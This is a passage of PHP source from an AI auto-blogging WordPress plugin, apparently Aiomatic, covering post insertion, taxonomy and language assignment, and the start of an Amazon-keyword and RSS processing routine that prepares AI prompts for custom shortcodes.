                                                $custom_tax_content = replaceAIPostShortcodes($custom_tax_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                $custom_tax_content = aiomatic_replace_youtube($custom_tax_content, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                $custom_tax_content = aiomatic_replaceSynergyShortcodes($custom_tax_content);
                                                $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                $custom_tax_content = aiomatic_replaceContentShortcodes($custom_tax_content, $img_attr, $ai_command);
                                                if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                {
                                                    if(isset($custom_arr['_product_attributes']))
                                                    {
                                                        $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        )));
                                                    }
                                                    else
                                                    {
                                                        $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        ));
                                                    }
                                                }
                                                if(isset($custom_tax_arr[trim($my_args[0])]))
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                }
                                                else
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                }
                                            }
                                        }
                                    }
                                }
                                if(count($custom_tax_arr) > 0)
                                {
                                    $my_post['taxo_input'] = $custom_tax_arr;
                                }
                                $my_post['meta_input'] = $custom_arr;
                                if($parent_id != '')
                                {
                                    $my_post['post_parent'] = intval($parent_id);
                                }
                                if ($enable_pingback == '1') {
                                    $my_post['ping_status'] = 'open';
                                } else {
                                    $my_post['ping_status'] = 'closed';
                                }
                                if($min_time != '' && $max_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    $t2 = strtotime($max_time);
                                    if($t1 != false && $t2 != false)
                                    {
                                        $int = rand($t1, $t2);
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                    }
                                }
                                elseif($min_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                elseif($max_time != '')
                                {
                                    $t1 = strtotime($max_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                if($new_post_excerpt != '')
                                {
                                    $my_post['post_excerpt']          = $new_post_excerpt;
                                }
                                $count++;
                                if($update_post_id != '')
                                {
                                    $my_post['ID'] = $update_post_id;
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                try
                                {
                                    $post_id = wp_insert_post($my_post, true);
                                }
                                catch(Exception $e)
                                {
                                    aiomatic_log_to_file('Exception in publishing post (this is coming from another plugin, so we ignore it): ' . $e->getMessage());
                                }
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                if (!is_wp_error($post_id)) {
                                    if($post_id === 0)
                                    {
                                        aiomatic_log_to_file('An error occurred while inserting post into wp database! Title:' . $my_post['post_title']);
                                        continue;
                                    }
                                    $posts_inserted++;
                                    if($wpml_lang != '' && function_exists('pll_set_post_language'))
                                    {
                                        pll_set_post_language($post_id, $wpml_lang);
                                    }
                                    $default_categories = array();
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $default_categories = wp_get_post_categories($post_id);
                                    }
                                    if(isset($my_post['taxo_input']))
                                    {
                                        foreach($my_post['taxo_input'] as $taxn => $taxval)
                                        {
                                            $taxn = trim($taxn);
                                            $taxval = trim($taxval);
                                            if(is_taxonomy_hierarchical($taxn))
                                            {
                                                $taxval = array_map('trim', explode(',', $taxval));
                                                for($ii = 0; $ii < count($taxval); $ii++)
                                                {
                                                    $term_ids = [];
                                                    $parent_id = 0;
                                                    $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                    foreach($hierarchy_parts as $hp)
                                                    {
                                                        if(!is_numeric($hp))
                                                        {
                                                            $xtermid = get_term_by('name', $hp, $taxn);
                                                            if($xtermid !== false)
                                                            {
                                                                $parent_id = $xtermid->term_id;
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $taxval[$ii] = intval($xtermid->term_id);
                                                                }
                                                                else
                                                                {
                                                                    $taxval[] = intval($xtermid->term_id);
                                                                }
                                                            }
                                                            else
                                                            {
                                                                wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                if($xtermid !== false)
                                                                {
                                                                    $parent_id = $xtermid->term_id;
                                                                    if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                    {
                                                                        pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                    }
                                                                    elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                    {
                                                                        $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                        $pars['element_id'] = $xtermid->term_id;
                                                                        $pars['element_type'] = $wpml_element_type;
                                                                        $pars['language_code'] = $wpml_lang;
                                                                        $pars['trid'] = FALSE;
                                                                        $pars['source_language_code'] = NULL;
                                                                        do_action('wpml_set_element_language_details', $pars);
                                                                    }
                                                                    if(!is_numeric($taxval[$ii]))
                                                                    {
                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                    }
                                                                    else
                                                                    {
                                                                        $taxval[] = intval($xtermid->term_id);
                                                                    }
                                                                }
                                                            }
                                                        }
                                                        else
                                                        {
                                                            if(!is_numeric($taxval[$ii]))
                                                            {
                                                                $taxval[$ii] = intval($hp);
                                                            }
                                                            else
                                                            {
                                                                $taxval[] = intval($hp);
                                                            }
                                                        }
                                                    }
                                                }
                                                wp_set_post_terms($post_id, $taxval, $taxn, true);
                                            }
                                            else
                                            {
                                                $jterms = array_map('trim', explode(',', $taxval));
                                                wp_set_post_terms($post_id, $jterms, $taxn, true);
                                            }
                                        }
                                    }
                                    if (isset($my_post['aiomatic_post_format']) && $my_post['aiomatic_post_format'] != '' && $my_post['aiomatic_post_format'] != 'post-format-standard') {
                                        wp_set_post_terms($post_id, $my_post['aiomatic_post_format'], 'post_format', true);
                                    }
                                    $featured_path = '';
                                    $get_img = $my_post['aiomatic_post_image'];
                                    if ($get_img != '') {
                                        if($my_post['aiomatic_local_image'] == '1')
                                        {
                                            $local_get_img = $get_img[0];
                                            if (!aiomatic_assign_featured_image_path($local_get_img, $post_id)) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('aiomatic_assign_featured_image_path failed for ' . $local_get_img);
                                                }
                                            } else {
                                                $featured_path = $get_img[1];
                                            }
                                        }
                                        else
                                        {
                                            if(is_numeric($get_img))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($get_img, $post_id);
                                            }
                                            else
                                            {
                                                if (!aiomatic_generate_featured_image($get_img, $post_id)) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $get_img);
                                                    }
                                                } else {
                                                    $featured_path = $get_img;
                                                }
                                            }
                                        }
                                    }
                                    if($featured_path == '')
                                    {
                                        if ($image_url != '') {
                                            $replacement = str_replace(array('[', ']'), '', $my_post['post_title']);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($my_post['post_title'], $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                            }
                                            else
                                            {
                                                $img_rulx = $selected_img;
                                            }
                                            if(is_numeric($img_rulx))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($img_rulx, $post_id);
                                            }
                                            else
                                            {
                                                if($img_rulx != '')
                                                {
                                                    if (!aiomatic_generate_featured_image($img_rulx, $post_id)) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('aiomatic_generate_featured_image failed to default value: ' . $img_rulx . '!');
                                                        }
                                                    } else {
                                                        $featured_path = $img_rulx;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if ($auto_categories != 'disabled') {
                                        if ($my_post['extra_categories'] != '') {
                                            $extra_cats = explode(',', $my_post['extra_categories']);
                                            if($post_type == 'product')
                                            {
                                                $product_tax = 'product_cat';
                                            }
                                            else
                                            {
                                                $product_tax = 'category';
                                            }
                                            foreach($extra_cats as $extra_cat)
                                            {
                                                $extra_cat = trim($extra_cat);
                                                $extra_cat = strip_tags($extra_cat);
                                                $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                                if(empty($extra_cat))
                                                {
                                                    continue;
                                                }
                                                if ($skip_inexist == '1') 
                                                {
                                                    if(!term_exists($extra_cat, $product_tax))
                                                    {
                                                        continue;
                                                    }
                                                }
                                                $termid = aiomatic_create_terms($product_tax, null, trim($extra_cat));
                                                wp_set_post_terms($post_id, $termid, $product_tax, true);
                                                if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                {
                                                    foreach($termid as $tx)
                                                    {
                                                        pll_set_term_language($tx, $wpml_lang); 
                                                    }
                                                }
                                                elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                {
                                                    $wpml_element_type = apply_filters( 'wpml_element_type', 'product_cat' );
                                                    foreach($termid as $tx)
                                                    {
                                                        $pars['element_id'] = $tx;
                                                        $pars['element_type'] = $wpml_element_type;
                                                        $pars['language_code'] = $wpml_lang;
                                                        $pars['trid'] = FALSE;
                                                        $pars['source_language_code'] = NULL;
                                                        do_action('wpml_set_element_language_details', $pars);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') {
                                        $cats   = array();
                                        if(is_array($default_category))
                                        {
                                            foreach($default_category as $dc)
                                            {
                                                $cats[] = $dc;
                                            }
                                        }
                                        else
                                        {
                                            $cats[] = $default_category;
                                        }
                                        global $sitepress;
                                        if($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $current_language = apply_filters( 'wpml_current_language', NULL );
                                            $sitepress->switch_lang($wpml_lang);
                                        }
                                        wp_set_post_categories($post_id, $cats, true);
                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                        {
                                            foreach($cats as $cc)
                                            {
                                                pll_set_term_language($cc, $wpml_lang);
                                            }
                                        }
                                        elseif($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $sitepress->switch_lang($current_language);
                                        }
                                    }
                                    if (isset($my_post['tags_input']) && $my_post['tags_input'] != '')
                                    {
                                        if($post_type == 'product')
                                        {
                                            wp_set_post_terms($post_id, $my_post['tags_input'], 'product_tag', true);
                                        }
                                    }
                                    $tax_rez = wp_set_object_terms( $post_id, 'aiomatic_' . $type . '_' . $param, 'coderevolution_post_source', true);
                                    if (is_wp_error($tax_rez)) {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('wp_set_object_terms failed for: ' . $post_id . '!');
                                        }
                                    }
                                    if($post_type == 'topic' && $parent_id != '')
                                    {
                                        update_post_meta($post_id, '_bbp_forum_id', $parent_id);
                                        update_post_meta($post_id, '_bbp_topic_id', $post_id);
                                        update_post_meta($post_id, '_bbp_voice_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count_hidden', '0');
                                        update_post_meta($post_id, '_bbp_last_reply_id', '0');
                                        update_post_meta($post_id, '_bbp_last_active_id', $post_id);
                                        update_post_meta($post_id, '_bbp_last_active_time', get_post_field( 'post_date', $topic_id, 'db' ));
                                        do_action( 'bbp_insert_topic', (int) $post_id, (int) $parent_id );
                                    }
                                    if($post_type == 'reply' && $parent_id != '')
                                    {
                                        if(function_exists('bbp_get_topic_forum_id'))
                                        {
                                            $forum_aidi = bbp_get_topic_forum_id($parent_id);
                                            if(empty($forum_aidi))
                                            {
                                                $forum_aidi = 0;
                                            }
                                        }
                                        else
                                        {
                                            $forum_aidi = 0;
                                        }
                                        do_action( 'bbp_insert_reply', (int) $post_id, (int) $parent_id, (int) $forum_aidi );
                                    }
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $new_categories = wp_get_post_categories($post_id);
                                        if(isset($default_categories) && !($default_categories == $new_categories))
                                        {
                                            foreach($default_categories as $dc)
                                            {
                                                $rem_cat = get_category( $dc );
                                                wp_remove_object_terms( $post_id, $rem_cat->slug, 'category' );
                                            }
                                        }
                                    }
                                    aiomatic_addPostMeta($post_id, $my_post, $param, $type, $featured_path, $post_topic, $rule_unique_id, $post_link);
                                    if($wpml_lang != '' && (class_exists('SitePress') || function_exists('wpml_object_id')))
                                    {
                                        $wpml_element_type = apply_filters( 'wpml_element_type', $post_type );
                                        $pars['element_id'] = $post_id;
                                        $pars['element_type'] = $wpml_element_type;
                                        $pars['language_code'] = $wpml_lang;
                                        $pars['source_language_code'] = NULL;
                                        do_action('wpml_set_element_language_details', $pars);
            
                                        global $wp_filesystem;
                                        if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                            include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                            wp_filesystem($creds);
                                        }
                                        if($wp_filesystem->exists(WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php'))
                                        {
                                            include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );
                                        }
                                        $wpml_lang = trim($wpml_lang);
                                        if(function_exists('wpml_update_translatable_content'))
                                        {
                                            wpml_update_translatable_content('post_' . $post_type, $post_id, $wpml_lang);
                                            if($my_post['post_title'] != '')
                                            {
                                                global $sitepress;
                                                global $wpdb;
                                                $keyid = md5($my_post['post_title']);
                                                $keyName = $keyid . '_wpml';
                                                $rezxxxa = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `meta_key` = '$keyName' limit 1", ARRAY_A );
                                                if(count($rezxxxa) != 0)
                                                {
                                                    $metaRow = $rezxxxa[0];
                                                    $metaValue = $metaRow['meta_value'];
                                                    $metaParts = explode('_', $metaValue);
                                                    $sitepress->set_element_language_details($post_id, 'post_'.$my_post['post_type'] , $metaParts[0], $wpml_lang, $metaParts[1] ); 
                                                }
                                                else
                                                {
                                                    $ptrid = $sitepress->get_element_trid($post_id);
                                                    update_post_meta($post_id, $keyid.'_wpml', $ptrid.'_'.$wpml_lang );
                                                }
                                            }
                                            
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] == 'on' && $draft_me == true)
                                    {
                                        aiomatic_change_post_status($post_id, 'publish');
                                    }
                                } else {
                                    aiomatic_log_to_file('Failed to insert post into wp database(2)! Title:' . $my_post['post_title'] . '! Error: ' . $post_id->get_error_message() . 'Error code: ' . $post_id->get_error_code() . 'Error data: ' . $post_id->get_error_data());
                                    continue;
                                }
                            }
                        }
                        elseif($type == '2')
                        {
                            $amazon_keyword = str_replace(',', '|', $amazon_keyword);
                            $amazon_keyword_lines = array();
                            if($amazon_keyword != '')
                            {
                                $amazon_keyword_lines = preg_split('/\r\n|\r|\n/', $amazon_keyword);
                            }
                            else
                            {
                                aiomatic_log_to_file('You need to enter an Amazon product search keyword to use this feature!');
                                if($auto == 1)
                                {
                                    aiomatic_clearFromList($param, $type);
                                }
                                return 'fail';
                            }
                            $additional_kws = array();
                            $post_link = '';
                            $user_name        = '';
                            $featured_image   = '';
                            $post_cats = '';
                            $post_tagz = '';
                            $post_excerpt = '';
                            $final_content = '';
                            $postID = '';
                            $heading_val = '';
                            $image_query = '';
                            $temp_post = '';
                            $cntx = count($amazon_keyword_lines);
                            $rss_feeds = array();
                            for($ji = 0; $ji < $cntx; $ji++)
                            {
                                if (filter_var($amazon_keyword_lines[$ji], FILTER_VALIDATE_URL) !== false && stristr($amazon_keyword_lines[$ji], 'youtu') === false) 
                                {
                                    if(aiomatic_endsWith($amazon_keyword_lines[$ji], '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($amazon_keyword_lines[$ji]);
                                        if ($txt_content === FALSE) 
                                        {
                                            aiomatic_log_to_file('Failed to read text file: ' . $amazon_keyword_lines[$ji]);
                                            if($auto == 1)
                                            {
                                                aiomatic_log_to_file($param);
                                            }
                                            continue;
                                        }
                                        unset($amazon_keyword_lines[$ji]);
                                        $additional_kws = preg_split('/\r\n|\r|\n/', $txt_content);
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Trying to parse RSS feed items: ' . $amazon_keyword_lines[$ji]);
                                        try
                                        {
                                            if(!class_exists('SimplePie_Autoloader', false))
                                            {
                                                require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php");
                                            }
                                        }
                                        catch(Exception $e) 
                                        {
                                            aiomatic_log_to_file('Exception thrown in SimplePie autoloader: ' . $e->getMessage());
                                            if($auto == 1)
                                            {
                                                aiomatic_log_to_file($param);
                                            }
                                            continue;
                                        }
                                        $feed = new SimplePie();
                                        $feed->set_timeout(120);
                                        $feed->set_feed_url($amazon_keyword_lines[$ji]);
                                        $feed->enable_cache(false);
                                        $feed->strip_htmltags(false);
                                        $feed->init();
                                        $feed->handle_content_type();
                                        if ($feed->error()) 
                                        {
                                            aiomatic_log_to_file('Error in parsing RSS feed: ' . $feed->error() . ' for ' . $amazon_keyword_lines[$ji]);
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            continue;
                                        }
                                        $items = $feed->get_items();
                                        $zero = true;
                                        foreach($items as $itemx)
                                        {
                                            if($zero == true)
                                            {
                                                $post_link = trim($itemx->get_permalink());
                                                if(isset($rss_items[$post_link]))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title());
                                                    }
                                                    continue;
                                                }
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats = '';
                                                }
                                                $post_excerpt = $itemx->get_description();
                                                $final_content = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name,  'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content );
                                            }
                                            else
                                            {
                                                $post_link_temp = trim($itemx->get_permalink());
                                                if(isset($rss_items[$post_link_temp]))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title());
                                                    }
                                                    continue;
                                                }
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name_temp = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name_temp = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats_temp = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats_temp = '';
                                                }
                                                $post_excerpt_temp = $itemx->get_description();
                                                $final_content_temp = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link_temp, 'author' => $user_name_temp,  'cats' => $post_cats_temp, 'excerpt' => $post_excerpt_temp, 'content' => $final_content_temp );
                                            }
                                            $additional_kws[] = $itemx->get_title();
                                            $zero = false;
                                        }
                                        unset($amazon_keyword_lines[$ji]);
                                    }
                                }
                            }
                            if(count($additional_kws) > 0)
                            {
                                $amazon_keyword_lines = array_merge($amazon_keyword_lines, $additional_kws);
                            }
                            $amazon_keyword_lines = array_unique($amazon_keyword_lines);
                            if($overwrite_existing == '1')
                            {
                                $amazon_keyword_lines_processed = array();
                                foreach($amazon_keyword_lines as $zind => $ptl)
                                {
                                    $ptlprocessed = explode('!###!', $ptl);
                                    if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                    {
                                        $amazon_keyword_lines_processed[$zind] = $ptlprocessed[0];
                                    }
                                    else
                                    {
                                        $amazon_keyword_lines_processed[$zind] = $ptl;
                                    }
                                }
                                foreach($posted_items as $ptit => $pid)
                                {
                                    if (($key = array_search($ptit, $amazon_keyword_lines_processed)) !== false) {
                                        $update_post_id = $pid;
                                        break;
                                    }
                                }
                            }
                            else
                            {
                                if($title_once == '1')
                                {
                                    $skipt = 0;
                                    $amazon_keyword_lines_processed = array();
                                    foreach($amazon_keyword_lines as $zind => $ptl)
                                    {
                                        $ptlprocessed = explode('!###!', $ptl);
                                        if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                        {
                                            $amazon_keyword_lines_processed[$zind] = $ptlprocessed[0];
                                        }
                                        else
                                        {
                                            $amazon_keyword_lines_processed[$zind] = $ptl;
                                        }
                                    }
                                    foreach($posted_items as $ptit => $pid)
                                    {
                                        if (($key = array_search($ptit, $amazon_keyword_lines_processed)) !== false) {
                                            aiomatic_log_to_file('Skipping Amazon title, already processed: ' . $ptit);
                                            unset($amazon_keyword_lines[$key]);
                                            unset($amazon_keyword_lines_processed[$key]);
                                            $skipt++;
                                        }
                                    }
                                    if(count($amazon_keyword_lines) == 0 && $skipt > 0)
                                    {
                                        if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '')
                                        {
                                            if($count === 1)
                                            {
                                                $email_list = explode(',', $aiomatic_Main_Settings['email_notification']);
                                                foreach($email_list as $thisaddr)
                                                {
                                                    $thisaddr = trim($thisaddr);
                                                    try
                                                    {
                                                        $to        = $thisaddr;
                                                        $subject   = '[Aiomatic] Amazon Keywords depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now();
                                                        $message   = 'Amazon Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its Amazon keywords list, no new posts publised! Website URL: ' . get_site_url();
                                                        $headers[] = 'From: Aiomatic Plugin <aiomatic@noreply.net>';
                                                        $headers[] = 'Reply-To: noreply@noreply.net';
                                                        $headers[] = 'X-Mailer: PHP/' . phpversion();
                                                        $headers[] = 'Content-Type: text/html';
                                                        $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                                        wp_mail($to, $subject, $message, $headers);
                                                    }
                                                    catch (Exception $e) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        aiomatic_log_to_file('All Amazon keywords already processed, nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'nochange';
                                    }
                                }
                            }
                            $spintax = new AIomatic_Spintax();
                            $orig_ai_command = $ai_command;
                            $orig_ai_command_title = $title_ai_command;
                            $orig_ai_command_category = $category_ai_command;
                            $orig_ai_command_tag = $tag_ai_command;
                            $orig_ai_command_image = $ai_command_image;
                            $already_spinned = 0;
                            if(isset($aiomatic_Main_Settings['attr_text']) && $aiomatic_Main_Settings['attr_text'] != '')
                            {
                                $img_attr = $aiomatic_Main_Settings['attr_text'];
                            }
                            else
                            {
                                $img_attr = '';
                            }
                            $headings_arr = array();
                            if($images_list != '')
                            {
                                $images_arr = preg_split('/\r\n|\r|\n/', $images_list);
                                $images_arr = array_map('trim', $images_arr);
                            }
                            else
                            {
                                $images_arr = array();
                            }
                            require_once(__DIR__ . '/res/amazon-direct.php');
                            while(true) 
                            {
                                $thread_id = '';
                                $my_title_outro = '';
                                if ($count > intval($max)) {
                                    break;
                                }
                                $update_post_id  = '';
                                $product_description = '';
                                $current_section = '';
                                $post_sections = array();
                                $post_topic = '';
                                $post_title_keywords = '';
                                $headings_arr_copy = $headings_arr;
                                $added_img_list = array();
                                $raw_img_list = array();
                                $full_result_list = array();
                                $added_images = 0;
                                $heading_results = array();
                                if(count($amazon_keyword_lines) == 0)
                                {
                                    break;
                                }
                                if ($count > intval($max)) {
                                    break;
                                }
                                if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                {
                                    $current_index = array_rand($amazon_keyword_lines);
                                }
                                else
                                {
                                    $current_index = array_key_first($amazon_keyword_lines);
                                }
                                $amazon_kw = trim($amazon_keyword_lines[$current_index]);
                                if($title_once == '1')
                                {
                                    unset($amazon_keyword_lines[$current_index]);
                                }
                                $ptlprocessed = explode('!###!', $amazon_kw);
                                if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                {
                                    $amazon_kw = $ptlprocessed[0];
                                    $post_title_keywords = $ptlprocessed[1];
                                }
                                if(isset($rss_feeds[$amazon_kw]))
                                {
                                    $post_link = $rss_feeds[$amazon_kw]['url'];
                                    $user_name = $rss_feeds[$amazon_kw]['author'];
                                    $post_cats = $rss_feeds[$amazon_kw]['cats'];
                                    $post_excerpt = $rss_feeds[$amazon_kw]['excerpt'];
                                    $final_content = $rss_feeds[$amazon_kw]['content'];
                                }
                                $tprepp = $spintax->Parse($amazon_kw);
                                if($tprepp != false && $tprepp != '')
                                {
                                    $amazon_kw = $tprepp;
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    aiomatic_log_to_file('Starting processing Amazon Roundup keyword: ' . $amazon_kw);
                                }
                                $old_title = $amazon_kw;
                                $already_spinned = 0;
                                $allmodels = aiomatic_get_all_models();
                                $custom_shortcodes_arr = preg_split('/\r\n|\r|\n/', $custom_shortcodes);
                                foreach($custom_shortcodes_arr as $my_short)
                                {
                                    $name_part = explode('=>', $my_short);
                                    if(isset($name_part[1]) && !empty(trim($name_part[1])))
                                    {
                                        $shortname = trim($name_part[0]);
                                        if(strstr($amazon_kw, '%%' . $shortname . '%%'))
                                        {
                                            $shortval = '';
                                            $ai_part = explode('@@', $name_part[1]);
                                            if(isset($ai_part[1]) && !empty(trim($ai_part[1])))
                                            {
                                                if(!in_array(trim($ai_part[0]), $allmodels))
                                                {
                                                    $aimodel = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                else
                                                {
                                                    $aimodel = trim($ai_part[0]);
                                                }
                                                $zai_command = trim($ai_part[1]);
                                                $zmax_tokens = aiomatic_get_max_tokens($aimodel);
                                                $zquery_token_count = count(aiomatic_encode($zai_command));
                                                $zavailable_tokens = aiomatic_compute_available_tokens($aimodel, $zmax_tokens, $zai_command, $zquery_token_count);
                                                if($zavailable_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                {
                                                    $string_len = strlen($zai_command);
                                                    $string_len = $string_len / 2;
                                                    $string_len = intval(0 - $string_len);
                                                    $zai_command = aiomatic_substr($zai_command, 0, $string_len);
                                                    $zai_command = trim($zai_command);
                                                    $zquery_token_count = count(aiomatic_encode($zai_command));
                                                    $zavailable_tokens = $zmax_tokens - $zquery_token_count;
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                $ztemperature = 1;
                                                $ztop_p = 1;
                                                $zpresence_penalty = 0;
                                                $zfrequency_penalty = 0;
                                                if(!empty($global_prepend))
                                                {
                                                    $zai_command = $global_prepend . ' ' . $zai_command;
                                                }
                                                if(!empty($global_append))
                                                {
                                                    $zai_command = $zai_command . ' ' . $global_append;
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $aimodel);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $aimodel . ') for custom shortcode text: ' . $zai_command);
                                                }
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating custom shortcodes'));
